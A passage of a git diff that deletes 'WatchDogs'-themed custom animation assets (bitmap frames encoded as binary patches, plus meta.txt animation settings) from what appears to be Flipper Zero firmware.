zcmKZtJb(iOmKl6FJ{{@&wfyKXlj65D)6IjUL6XH1thW{Vo1IPK_|L|b(<$`dd zS^${uf#U#&&jn%t9am~^^kx^o{{g?p0p-8>Z{q0U*X!Nm|BegK{mPexhwmp3jvoJA vV~7|{BmgR&-~U(t$A5*CxDVC?7#Yxj4PWYk3sz(u z_`xsu(8^`Nqz_GKk#%kHAH7rvWBL!OkbnmCQlS!zMW6v#AOdgT_1FLW;W^y^hY$bp ziYMX^JrCRzelQ{KLFMD{0+4Ef@`v604Z#2wdL2vlkev4gpW%9OZ2dBUAtRZ=RFcft8$Kd`p zG5`kS4@ZzZVcrNhJ#UcVd4Hq#>;pvr18#u>%Ktz9V4>&1ARoE`{8o?d|IEY3!^uDQ zgT<&RA@)P#?BY8Qx1J9u9s~aXl}FSCzx7}9@Bldad4Ko}!aNTl5kv4l@89FU|B=8I zLO(iOJXSyL@H}`hc=z-iTWzF%$ORnvgkTWp@|?Hrv7a}KU#}mG{x~m8DkMOIC-?r~ zKk4G!e}DL20{%8Bo}A=A`e*v?jTi?beq}A2tXZR+^CwH8ZyFp&Vs;VSquR1o{u>Yzf4 z{z!x)JN_*EO!7(&{{Aaq0oDG)*vgmCJ}dNMJq$kIaC>jmgg-z9x(N+;@Oc0W4kENM z1INw}?hn)yVN?C=LFMD{_`&b~2b4SK;ARK_v*1JcnFkMZmLn2AYd_csVfB1>`PO%H z+Rx#bdN?6CV^jy1AEo6pkG!rx^`=MtoIn2`_x_ji|Mm4ML;n00c#j4T25z1I_rK%$ zd;)`m%L)m9u5|n!9{MP!^~ae227UPb@{1`yzFa`Ze*A8Do`zbd1YUoL4IDmu_&>zV zAOw)Z|4QSB`6B8StU=f3AD?(2;r0JRzaIbZ-JCcF2#6Bh1RshRXZ*|@ePFie0pMf( z3;#18A5W6ZZNBh%LHHkfOgv;JV)cLd;PUXi#sL@yn22xq_y`<-3lV`_C(8t)!{{LK z-vh^o0FNQgYu%4v0HdGx|KKor@I1Hwjr@JwQvG=RWAWqiaHHd5(}&9a9QyzNfA}8) revTWw&rS~?^t1e38TfMrVur+fxl>X$4MWHA61|6f|_f(P&auZ+j?DnMZ0{vZF}{~iVt zn424b6ewAAeg*~m{cr&CgNTOW4L^J`0pMwfWJBcBAz?#7;vWzI$o`-IIJpDk@bCeO z2krm!$LU=ii?B_@RMdaH?fUQjZa>`m@zVug{Z&;+pC9}R@%jS}fB8ZG0)zl@m<8c5 zQ~8do{NykI#X;iOE&VG3A9{ma=kT3Tc9G}oB@hCsE^-CF|EixNpoiYS&&C#Ss;94{-c2L&_jpij>QmL-}FEE z!32niV(@ekh(~|R^6*y&1Fsp9|48G5#1L}&;ejXLkDnvpSWD+*40qqf?~0#I|M6^y zVU*#01M}nlJY)p_&|%{9kHh{^aC+2X;BgQPeqG>;gOmSxhkXO*e&9p@;so|WiRT~p zU}NFruiKy>k9@wtKlWk4>0i3{;3$EE;6L=tcs%$1um5-+Kfezf{{V|e)C9sC{(b;P zAHjfN6N&P{DRBGJT1`9q1mjBVej`$meuNRCyJ@yx$ zE`E+FKfmt)mq&-=`~SlD6ZCNX>S6JK|LdRKyVPJDPWafSe?R;W{Y?9RLF4e}jSgd> K2Z(%mzyIhm7i)t6 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_8.bm deleted file mode 100644 index 3e87bc0fd2e733794e91cdf85e9a86a4416199e0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 592 zcmV-W0BSFRg>-y zPyBd3Bk=$aIv?Zz{{iP+FbE_-1J&32O+)~m6u;6BdH5XaupX!Vs7P_$!EXtn01gVN z^+J#Uqc97?=tJcq`UA)!QP>B-9&vntH3Q{PBPRSjAoT(u0Ac7t1u>CQh5&2*EmAf9 zXnrgGQTgnG)&K8<$W}vgpTj=! z^FV+^5+L(zmNVCn6qfu3Byk6%GtcAu|MlSVDwlK$A@TqALZ#XPj9lb_f_0zN1Tgaf ztp|Q+Kmm9E2V|^D!Q<}(i414|0C~^9koDu(fQNqkDi8pC5qf?j;P-sCJvb`!Fcr<+GoU&cEvOfl5CB5fyw)Yk~QL%8wNV zn0$wY;RlzV{y8&xLjE8^{e#c`h%fxx=*Bz!@D^e-_$&krci{W~;Gy%6?^urufPPoS e&)x>l`lA{A0#GkLe>7gx{)T*Bc>E(!#UuLCMJr4I diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_TALK/frame_9.bm deleted file mode 100644 index 5a3fa2a4426d4d43215d0b6c056081b848fa3af1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 602 zcmV-g0;T-{09FG3fD*m}9e>~ypajSN_w>JjKDFQ>&4cfb0vNrA_79&32xb02bpL;# zG4J>V_51-1|AYuXco6sXaS?y`1%|)s?px3x{J;FLdH41DuUGg$Ac6FM;N+zZ3Sj5w z(MgB_xEKGpP<0>p_%(0#xCeX+G4u$}!KZJAKsXQr0D}ib{=b2X|9gbMJOJ~i={;cd z|Hpyk1}!u%%9Jnw*GvP&0~fDf>j$b$fBZ;#09b?oIrtp$Iv-FyH~Y9%!4x0?nL{1I z|0Br8U>5}W(R4pRc^FDH0QdvWJ4gYDe1HQPpb?Uv;s>x173BROQvefx$OctZjy3e~ zhu>eS51z@=OatHIzd=Knr-%Q21RqqM+>jxChpGiZDKFRop732?!=5l9v0=mTKu~-D z4{`z?I0$Xv`0R(zf16<-5dI+Y@Q8_aQSf^~!DH$F_kiPHUmeH)9maV7|3le*|Nn$> z2F8C3`^VP?c^|1oC*kp@g-74N7Kofd=?wGm$An!jcnC_w9~C(7|9A0WOU^=4AQ^T5 zrQZja_@*U--`~l`Un=>4f(2NWvD7d>04dJD5cktv>>yLWelzKVEeQlnb>>v(%^Z$na`hU#l7`P0S91lL{XO$3SYT~!x&^XY+ zAR)=Q_rXN==PmOR9oeVX$Q1r(usPJkuO~5+@p(NHheG}z<}T(}_6)il0gX>s73vSX zKk%RZr!C_@{txxdf8>@nmUjr8er(SqVSf-P6u6f~u3;(Eaz@7k9bOg{0;eAF8(m@) zlH)f}XzJi-Kg1-$B9h?3Eg!*lnMxtX)>?%w%aMHf{0`_KmVwbeNZUk!Qu)i zUH_^NI=9#VCmjeVv|;tsfk!S6A4ni+VfB@HL*#l8K)}Q6O8o!e;qeL&{wIIr$KenU z@Fb+>@$?7E|KYFELF32-hB8f#MV(0t3nb03YBG%i})+7(c=P|Br*q z{t7^Pfk+5~r3DBBz#ahb2kNc8y08#?dup%$sstTrJbKlttt1pRYOYuPtebhe`??T~?$C8vd@T z4-g>gs-NrqTUROy4(ev73J(zQi_8DYAC>#dAHYRFz>*J_R6anV&x^>iK=SZ|%KgzNpA;T~QU{0- zfCJD6plF5S3LpTF*T^642ozu-LjVs5Qep9jz(1G%1bzTt9zYQ9;4uf3kP2Vm83W1$ z4>$-Y=iu}YplJc^@O+d5z)vao5W(yOASi>-2%H0XfII=<2Jh{vph4f;b${R@|Ms%2 zC=hLRT96RwKtZqS>avg^)wOc3_Wrf2sRze(Hqz>VgKec{f7MU{2gc9+A(dbE|B?Ug z|95%&Pv`XkjW7Hr5V(Mcv|~R|2x5Qmp-IQ$3LpYP|H6`oi^sMPY9IJAT5$OEq3%%x z41LsGu(99jwHT;8clrpFOa1f{q^b#k1q}WRKo5@;KABjQ1Qa{@L=Xrjl)unK!vhbG zhzLM2N10TCLKq+*@d4?<2ggVrV>1W0kRI?5dhmlPk02SD-#Xhyd^hfII=<4*+-r!07k` AbpQYW diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_11.bm deleted file mode 100644 index cfeda3a0c7b2d0bc1bba35980cdaff2aaf8124d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 625 zcmV-%0*?Iw0Br*QfII=<4*+-rzyogrB~%Dq{a5%1S+C#_clBK;D0lN*s64e`lK<89 zvY;VS!iQSbhsOWfl~RA#{jFM3I4!U91~VPE=n^;kZ|0649@o47EC1@gq|)Dk2QCjC zuoQBC{it|@*?b^9+tWh&`}C$p8OfdFw+%2M>=}5HK+zLEs2s~kb?^S;T6#r^TBo7}*yszC{{D3|slNXOD9$)TMf9M7fNe9cy zA2A^S1QI~<n zhyR~}1PUNTf&mONVD9BY)r=1$l)a9w0-%g%AjT@FD;_ L0pJe+cmu#5u;vi4 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_12.bm deleted file mode 100644 index 4e5e60b7f93d4d59bff337bb51baadcf2fd8a414..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d_s0C58UfII=<4*+-rzzgusTQLoznRZt;*Ma8cA#KGfQ*8Ze_{nc1zSNX5!P7fPj@Ba(` z>iwjGzxx02fA#;W2pAX;#pU+@!NcS31P)LB2@s(Ft-hcA93DNOQGfkk_;v{6cJH+tMph1d_L{ToctAtH^a1663J@rA0Q781RA(Bz=?0AfeXJ%MFT@qV$37;smlhK%@jNB2YmmAAkW!2z($)1qcd2 zL&yWtegq%j5kO-A{3pZ+Hv=Gn2p%v<2fzp*q6#1oL*?*akP&uh6hH@nJOSVjhj=O& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_13.bm deleted file mode 100644 index 30b9da7645e6e5eb68330d8de901a6d732cdf33f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 zcmV-o0-gN<0A2$BfII=<4*+-rz#ag4xDqYkL+{eRz(UIb3;(bF0S=@DD*mJ>b+70U zclBDRC_st-+Ud1GLAC3DKtsU;##O77z(9kosRBm-R;kK@gWH>bN~7BurMLA*|6l5$ zk&%H1)=ew_*Z-FikJu0}Fd={kTkZeB!Q<)#3@iw6KlRi;GI4l{N{4^#|Kact_FKds zV9@f1BNYEtMdD8`s64OTSo{b+GOvhy{DJf7SL8S^|0EJ1@ejTsh$E5*mqZ?Z8vnoy zJRo`#&iqdh0d)cC!3UU-fC6q1d6UUfJVK#?2tJU1<^RHuG5CQB|HucJ5P?I`2d97t zAo1Zx-~gfE0S^9{5P1N^6jSgaf{Y%B@duaSv>--DkUT(y3J@ZA4y8W=7(GAmfFYKJ zDqsSufi~Zz0vCRi`Vb)HfQA3p%7BMb0u_H!6gt&Z2s`?%R1`b?uBaYcT`}l?_PuO~ z2vpc8JY`zBNF-%i+LkN*RjX9Sh1;8dK!ew(0t`F|JRl*1+z4F&dVvKVU_#&l4*mlW w0D%+yrx1I80Ezzs7vX*&M)(c{2!NsR0T>=2Lj?#>zwkgIgU|us4*+-rz?paz#Q*>R diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_14.bm deleted file mode 100644 index 5dd9e71928ac7a6e59d470291a990d5dd92007f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 567 zcmV-70?7RV05byrfII=<4*+-rz#ahb1J%HXum1z$RuqeP5h-D!@8p1mZO#7xgWJt@ z0YlrHRX~F()zrVBLE7o1U+eu_ONt5?YOO&64O*%c9sbu_B>&&)yI<5?2sY4gf`;4m zA{W>YIxr!C2V3j^$-(351Pm+)U;(=NfAMl4g$MrwzxKd|{>ueN4j)M$|C9t8pZcl_ z7&v@-p`yP51`h!LQof_}@(PcoACf@7!{HCjeghEy4G11x5PA4>_=TYKf#^>lc=DtF z05I_Z>A?q>kbnXoQhDElL;xN@eb*!5G9L&Yfl>#E5P{>s0v-Rr6d&dMG$`^43_J)o z_!I&F4-goD2mL<+7%0L14@7u_%kWANBO}NjAVLSH{tyH(P=N>m-~+3H4_^8ZBY*W^ zLGMRgb0$YT}mnh9jz-1{;JiqxS*kSs^8!LUaS=# z_TOu*k{t%CwfzAHY6KXc|5a-G(!=An)rW`wt+jtaLv5@6`i_001lS5dY9XA%oBepWq?_kN5;n_z=Gd@d7u%gdju*r~GsvLIj`#z#ahb F2Y~g`_?Z9z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_15.bm deleted file mode 100644 index d9800786eac3cd65b166a0fabdd776c85f623e44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 516 zcmV+f0{i^|00092fII=<4*+-rz#ahb2Y@^P^>8EGdw<{{_V(IPD1iqm1Q}MZR0J)q zs#X8L)vC2n$#$yWz#!GNc~AELYps=kuk~H7QVIkcZCCmq8*HY6A0My?Y9K=Z4!76; zi;joX2pKpKzyo#k|McSV3J?A#f9-?MEEN#?!2kT9dDTHf2M>=_5Hv6$!2i^*ul|l7 zA0WKH{V4nb0siR%L_V-P_g24^gnxk~KO6r<9)2A7e7r&QC!PD1ABZEzkPl7>Jj8?m z5&DzJ9y~yKfe1eS5P9%{=rt%95WoY_2d97%SMbpz$AAw=5u|^Y@EDuQegrU4gZv-h z^!|Ur<@hBCQ2+3Nd4h-tAP)d|1HcEX0v%ik_TJqn2tB>Fl&T;>%7F$|tJP|NgSFL4 zzx7(RR;n2;)mkh6>(#Y+Pxjwyt(7CjtF@{D2Wz#JNq^d_RHlL-9k#5TTH9At6gJww zUMxQ!QIVqm?x+xS;-U3}+DHED1q?qBzxaHp;qd~L3?6Vl@MUz40{`#e5J?C7qz*g$ zR;!hWf2Z|aj1Zn+@{r;K&f1JacxkU)du1qv4+8ZdJB>abX#P~Yk`SP1;V z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_2.bm deleted file mode 100644 index f1eb1199b45de765132c71f1199ab67f817f421d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 558 zcmV+}0@3{e04f6ifII=<4*+-rz#ahb2l{}J0A9cJ2wMMWD8Pq*+Ul*KQQCI4)nESn z2!H!kuB-gN+Vyo@uloK3KmNL{s~C@4ZK|n%^`Jw){de-9c=o&Us;~QNRjTTPtA2|Tz(*;g`?J`>Ho>a~ z2j74XFd+a02te}a1J95TFd+lTNRKfocE#(o4a ze~CmMKtl(={vHn?Ap(j%4?rk^5FY>!0C%Vf9Z-68|DZzG`#^>7`vD67wbfg7fBmOx zZB_s3s=d0fKy6mKtt$U()zxyp?XPOBDF=?at*fbj_xo*75OttIr7Oqlztu{Dqra-k zzuvC=sAxa`FMm`uD*m>M|MlK6LGi!P zegMMXfd&Wu=>f(L4;fSz2>^eL76C~AaRkSI!0IGG@!#qtP$2n$3V%YtNk70seF%L3 z10RF}hyM>65BtOqT>gk2Rr-tv{lF)fM9V@1PCxF>U;+n-0DkN^Mx diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_3.bm deleted file mode 100644 index bd7f253acbae5b5224beae671e8a2a1cd80680fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 603 zcmV-h0;K%`09OM4fII=<4*+-rz#ahmSL_IXa8ZF1xAp=b=m=N;s1WM9-|!HsqEf%> zLr1pi^+E%-?dqz({cl#=s|5|Kcd7yw+O?JcRd;!1Ov6LWq;LOuB#}NA6&dxAyKdCbzknaeygP&kE{Pzl#PpDB>#0lf)pG0 z6o#ZA8dzkj^icTu5bYEHbbx~wH5bSjTl4sb#8N-~IJ{y$lqvW>@;~>8K0xuMQ9l52 zpT&O=zxN@unfR0@052T`3A7{f02KZ~KnINe6_BKVxP^ts!68CYfCtBfX=ykpNhJaQ zbOG&`2c0|!JOX*&z@-Df0Sta%@_>8+qz9-2z#ahb1^|%H3$y?L diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_4.bm deleted file mode 100644 index 0e2aaa31d2bf213d87692bc78fa8f4412c3bf449..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 618 zcmV-w0+sy%0A>RJfII=<4*+-rz#ppqfeV%G1t07PePDs@dtcxn-|E2w-EF@>k*(_g zAd%noK_UtrUbfmKEwxw(Hr;4|`quof^Z)9%?P{O?t*cT55K!0ZzuW&-ze&>ns?}Pq zSNsYe{am0vul;^g|J3@m`k;9FN@NrusQ;y3U;doTJfKkO!{h)eP-tS|@$!NO2Y=v$ z%o0KIzxo5@FBtjgxd0)HfQN(v7@hyYUq_cn1T=8?^#G#>4~~8SgdQM#f#cxo+;|Br%<2!=uj zkPt&k4=@6fhzQ810xqli2QF9a2whMi|N6lL+UkR)t<`;j<+|H`zxVpxx9Suwuw<|L zy=}BAU9Ql8dey3^#Jbk{txyU&`K?r5JN;I$Dn6?HS4z7oE|>k)1dSvTKCk{>R4^+1 zq!L>4u;2Y4vDKN*um0%)4*%5xkUa5X@d6GU9yC|UfA`=)k^i|t^Z(>2M^Yyb_Lu+Y z0me>$7*vz+A1Ft{C;sBN2tGUd6b0Th`jjRS{`3RJj}0aA1x<{2}+&>A0R!y@GyA+2tJqaDM0VQL;rFBg9k^90TdwdfOrAq1R#09KLGLq z5IjRd51)WN2_+u`38-h_NI#eqfQT9(dxDT2r9lFi5d%UGG<$&@3Lrx@2ob;@0PqKZ EFuGA8Y5)KL diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_5.bm deleted file mode 100644 index f5619c82763f4426fa017c83839542607f30ab01..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 599 zcmV-d0;v4~08;}0fII=<4*+-r@BgqV{eY3m)qg;PO4fl3e^m`0+U?cj{G_#N(0IP z@CTFtYG3*I5JBev`~%1;K=A?yJpcj^C;|LI;&dQ-0S#av^ihy#jlv2rA^}Jq;sOVe zP(kD+AyNa(0I2Z-I0L_+L-v6pl~w(L3u+ZCuWRfNEwBJUgSD$vz=Lho+d<{3>g#`( z`(3x%WFD<+sstPVZojJ41xJ4>)c?NQ`KS?wLF5DwdH@6-KmiAk l5P|+_ASr^cBl5LcpfJ+4phDl(YJaeyZLXpL+VyQ! zVMyD3y1-ECrMO@9{?;EHpcHFxnMnA*_VG~lzx4et`&;tg(uL#pDj(7{B_h?E)45>IxVi|Fk4MPs{(O2ahCFSMf-I3sgE7xDs$_^?JAp(vb4@h_s0rCJ;povT$AP)dVxAp|e zS66NQ0v4zUIa=3Ld|Pd{t5yHn?Wi^!*A^-V6QOkqP6g^NN#lhq9J1}TNC8uwQRDcOX{{~7f zPaP}+@CP0E5KBYF1C1PBFilkn-ZT2F1_}Q456=Ioh(aI%@q|R6Kkh)-@AN1X22vjy z6#_y2@{(Fl09zCv5&q~nTvQ-Jft$<#prHaM03Yf@2i8a)clZJ*V0Yjk`~l(wAbJ1< s9zX#HkPw0X5BJHV&uFL@DAw|#K_3Ya`oJO8|Fyp_{aijjU{QbnK|`wf zfB0~C@__>bzwtrmR`!R=|Md@_XdZfzc)`kp$pj2e{wWXvYKKBUFHpRIgCBx_2PX#? zh-jpD{*8V^0RMGCBPR!sAPO+Dc*o!oANK%0Kq2u9%KhlC#Gs$y$x*}O)CZZopnvWl z{Wu`=;QhyV7022KwiP(7mm z?x+xP;PLqb+eiKkl%M~93XlOIf8fav#{Z>vm;ZhQ83+4{&qyKUU?2JYRx5)4dW6S+ z)WjeVAo#*C5fAqu9+W5)gcLLID8N77R*S&c!~`yYKaJ#1Abjuv{ttKvJ#s)pzoJ9{ lH{c=vfQS$9e}nwLKt}?I5Y0$$PzQiK0pJe+cmu#50I<{~=|1{eSB1J6<~5cuEuAc2A3#UcPLQ0QRd@$~`*Mg$oA z5&`}kl^i}Hq7RQozaa;YR1zWazw!s=e&WaA5nuNJ5+(BS2g?2Euf&7mIUxCU0p@Q` zAU!xB^Wg)`2te}i1Izu;2bd6nwk-xwI1N;IRd}rW8 z2lzk1{zxzffII=<4*+eqx2ggmXh4Hj1dS`JD$0Qq{gtg%X(2(|ZM9V|{?rI|-Ck5k zTCHs=D}S}?bx}|ER6aFS`1Z)nOaJ|VgNF}@6o3hn|9e1#7Xc3_KH~8L4xBzeAbUvv z!IF!Q#411ph5v&kM+c6T%3uBasQ96Df@-Ni@t@UVv@iFl9C!UpLID#0Z{ZjShx?EZ zN)!r0DjE0`K!fFIybQ`9L+Akp4hb-Oo5&xW0Dptt0uNk}5bx-cfM0-z{sJIB!Tt~Q Vn}9q4;12+J1Hc{t@CSfA0N@dT-+%xB diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/frame_9.bm deleted file mode 100644 index aabdf52eb608e288e8c2bc206d6b346546495d1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 503 zcmVssCTZVk9eEuS@&_4Q{Iy9F1=)Dhdx&Bsef3fCqo_|Ixss?g0$1|Mmx+ zx6A*Fj)$}e9H0Nx4?3^c|ECv-P=D}y|12JLV5o=4C_niakiY}g8jKu1JfJ|p#DgDn zkN9X*aQJ~rh6Eb?R31Gc$s5uae&omS2cZOz{BQmdd0)J>`2c))LG9_e&ipDM0Pz9m|KJ15{m=)P{Xsv5m;bBUt5rkeYt`z7u`s$A6;4 zU=W}7{t*Czi_9KT7!WK~Lqehf2gDCgAPit-Q34+z2rzI-gWP^V{Ne-qgb#QKJ#qn* tpQ4NifHDFN{0evAQb7UyAMkqc5{3jn{sGd!4*+-rz#ahb2Y@^Q;0%uF>2Ux6 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt deleted file mode 100644 index 55dd3ae55..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_WAVE/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 16 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -Active cycles: 0 -Frame rate: 7 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_0.bm deleted file mode 100644 index 5f0b5e8572d27dd9756ab18a820e31097f7601f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 737 zcmV<70v`PV0NnxrCIWw`)k3cU3V_xtvEBp>A3q&_tMvzu1Lh-C50CO<515|2T^fLQ zf%6jURb#LZfdXP)tykE}Fz|fUzxucg0HHB&UaqbW8Gt?}ms+Oo1dpjCt^sv}gX(#; zu3G2Uh!l-`aum zu=QT?SN^CzY9IUTmv5?A2m$pQuhIx_p!x1)e!QN(sewA|*YE#ps<0-lJ^KH{%r;1mwLbYx~+A>A(3AtR&Un-)qQ)o(%^MV zGU;S0y>otH}DzNZy@GN2RsVj$Hs$h@9RXPtA+f{4UZ>?3|t$qR6>-|CFaIW=g z^-iweb?RCUved;bhU-;s)_Sj3TCdgvR+_0wvEA#{YnT16r~oh>Tx(Q>9cH`T>eOnh zU0$tL2UUic3als|y<)4q)oS&8ZCo4I8-RYb`>k+%TjN)&-$Wuo7zKW=U>eAbbz1Fq zsJbQ*z#;?^I~`Sdel=RJRJc7{0GvbvajJzx>^iSe@O4}QK{tn0*DnoK1TYH+R>o*8 z?gjiU@ed0GL!-V!j;ei_|5a}FaR8SG03{(X@8R`bSoA~VDrSfri32*oYU=Ot42XPS z0#Y;$*FjbF`-24<2Z``NA3q&_tMvzu1Lh-C50CO<515|2T^fLQ zf%6jURbsFYfdXP)tyJjBFz|fUzw>Y?lqN0f_0NE#FbBla>r|SkE=eo!N`d*cu+_o$ znB|8R0JPYN&f=A55HFX!>fS<>hFEPU0~q))!(sNxNtgf6-PZH#)0!d>iu~&b_IAf-@pF8UJsjqe1G-&s6KWUuV4RH>J*?oD;HkB{=3z@ z0!sY8Sy!w7yVZM51*-?A(recL-D1w#s-0@T`mI*19y<+E)emD*zuj-OcpL(` zRUjODS9;cOy;|*b8Ue1=bza4{s@H0rU;S39!5a6}U|0`cs@<#)4zK+SfPUveLcn!H zLtMYrYW3LroMEM*fN(uq?{=e9J{?s1fvSU5Zmvd|-YM?dF`~#tXZw+KVB2i$ER5(x{#_QFp*pJ851s#2;cq1Xc5XS3qs@M9aVw#r( zq&vaLw}gHm64geJgH?jnizC&*hYGF&80xTfYtcOot1CxO*}&!WIBaD1u(k}wU< ztKF`cN(K)dfm~bTuHOfQIwE0!gT+7~0lU@dtHA@8)EqDk0o;HC&i!kX!>*kJ$@(ke ztJBlYz!K?hw|wCt>!HB%U;Y17>w%|M+{`H)8H4?X~3wNbI~pUc$0A^4w1>(z?& eOT+*Wd6&d|KB?cWj6@+g9dI&NS*r|G#DE}es93iE diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/frame_2.bm deleted file mode 100644 index 847684fe1a8af5c26be72f6ace53b9af9d64c75b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 758 zcmVA3q&_tMvzu1Lh-C50CO<515|2T^fLQ zf%6jURbsFYfdXP)tyJjBFz|EmB6V;4)C?sEyhZ(bxmXxx0Qc5SuC+XU73HDG;RkpI+9MSDuYI)cH^=hE>5*FU84VU`A`n_Bj9&Ay-3P&9^ z>woH@Q3se1Z~~FS%C%qpSFRQhIn)Dz>fceOwJZNrsvz^az$_PAub$Pc-+Hw{p#T-> zdOEFD{;yOI4PI*=2Md^B9RX17ZQ8)_>#a@_@M@qxjn}HxRjyy|wce=gU>Afa-zv9X zud7k2-D-lu+AUNYdAi+Ny0wa}cDvu|u8OM#s{%)>st=B@bfFjy00t}3*K569TFQ8D z;30wFD)n!zRMIbHlVgJCm8{z1d5`c=O5+;TTDAys-)pzf`lx(D!!@r>NFo3my) z6Y!hU-_CkB8h>HR$jFrMlhykK=bckN{x#02qi% z*T3~{%fgx{6a!u*Enixm{ucO#hOYyFR|CV)2K oc<=yYtyN;HF%F5`O~hwCZmM_d^?H-!KNIm1M!i*A3q&_tMvzu1Lh-C50CO<515|2T^j6n z!SfR9Rbsl2u>xXVtyJo{g@=RYt^b<)Aw>y`di8R?q;_BriKW)5H`Ydp^CXqPCDnzQ?#JW6 zs;lGGUcTTf_zhGT9`}B&?-g&rePE#X)#b0UTDTNpK<2Ai3`%x%C z=UBSS{a^iD>$%nHwncoJsjpZ*H+}x8f*|zzZDm@o{;St@>fhit0D0=GQ(Be$SU#YT z!1e(1tNm?S&G)O-)vEPi^?-3lwRft$Q>$0%>a}{fKC%K29lck3Zq^G1)m5w2;k8IP z$bEXM^;WrmCXTCJu8nKqpz#}yx7DcCZnaff?RV={Sq}r%zN>X>0Kw|&_dzk$U0@aq zt=HeG4~bA}w_2zGZ%fe%4}Ys!1djJqQxH)=ItZcK>b4+}uNQ>?HC2%QH(sMq+(ARF z*A0YfHCP?+Za-gg_LEs~v}{JIsHFnW91ftgBLMpM{;geTQe9XMz-le=*LA7kVcUnxR^1kvUF!PYcvxHF zASecas(PxmJQh1}=<2Oc(nO8amOS8?+PwKm#g(ToeQf5cunYf*&iY z0K?C#nF Q`45KGRhq2}DqtOTsCPk@$^ZZW diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt deleted file mode 100644 index 118db3cbe..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/FINGER/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 2 3 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/GUNS_CAR/frame_0.bm deleted file mode 100644 index 0b8467a6757678be02af98f92799988ce1d8fc1b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 439 zcmV;o0Z9G<0J8yrf9-%|paWU~&Vz&N01p^Oz#xG2@B_#3JqOpo9z75IJRd)Rc+5V) z`u_vR`4=bG{2nrh_&!U*4;{7Q0uO@l|L`4txqeH+A0G!4A3wl(Kp?>RF9^I~8sYpC zi~qpD|H1LV2bY5b&jbyC9;M$=@(sn};16PPw#W5U zFS$72X)*zbJxR#`i&u;8PA6G!|Dg6xne4msP<;}MjqL}`{18*$a6V0<03PSSA10Hq zZb9-0Kd0Ou2GRfxzOy_5dH_ 